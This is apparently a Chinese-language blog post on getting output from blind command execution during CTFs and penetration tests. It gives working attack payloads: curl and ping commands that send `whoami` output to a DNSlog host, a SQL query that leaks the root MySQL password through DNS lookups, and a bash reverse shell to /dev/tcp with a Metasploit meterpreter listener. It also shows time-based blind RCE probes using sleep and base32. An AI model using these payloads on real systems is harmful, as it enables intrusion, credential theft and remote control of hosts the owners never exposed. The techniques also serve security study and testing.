前言
看到飘零师傅的一篇文章受到启发1
https://skysec.top/2017/12/29/Time-Based-RCE/
在比赛或者实际渗透的时候常会遇到命令执行无回显的情况,在这里记录一下。
1.利用ceye.io将回显带出
这种方法实际上运用了DNSlog注入,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。事实上适用于很多无回显的情况.
例如:
针对ssrf无回显的情况,可以采用这种方法1
http://www.111.222.333.com/index.php?url=http://ip.port.b182oj.ceye.io/ssrf
或者针对rce无回显的情况1
2curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
执行完毕可以在自己的控制台查看DNS request
或者针对sql注入1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
并且,如果执行了ls命令,只能回弹一行
可以采用sed命令进行行的划分1
2
3
4root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '1p'
0708.py
root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '2p'
1123.php
又或者文件名长度超过限制,可以使用cut命令对文件名进行划分1
2
3
4root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '1p' | cut -c 1-3
070
root@iZwz9i9xnerwj6o7h40eauZ:~# ls | sed -n '1p' | cut -c 1-2
07
2. 反弹shell
比赛里应该会有bypass,但是在实际渗透中不失为一种思路,命令虽然无回显,但是可以直接反弹shell来获取目标主机的权限,最喜欢用的msf
目标机执行1
bash -i >& /dev/tcp/ip/port 0&>1
msf监听1
2
3
4
5use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost localhost
set lport port
exploit
最常用的反向连接shell
还有别的不再赘述
3.类似利用sleep进行回显
最后一种就是飘零师傅所讲的Time-Based-RCE
如果执行命令1
?cmd=if [1=1];then sleep 10;fi
会延迟10秒后响应1
?cmd=if [1=2];then sleep 10;fi
会立即响应,所以可以利用这种类似sql盲注的方法进行RCE执行结果获取1
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
最后进过base32处理也是为了最后输出的只有大写字符和数字,如果输出正确则响应10s,输出错误立即响应
github上也有对应的工具1
https://github.com/dancezarp/TBDEx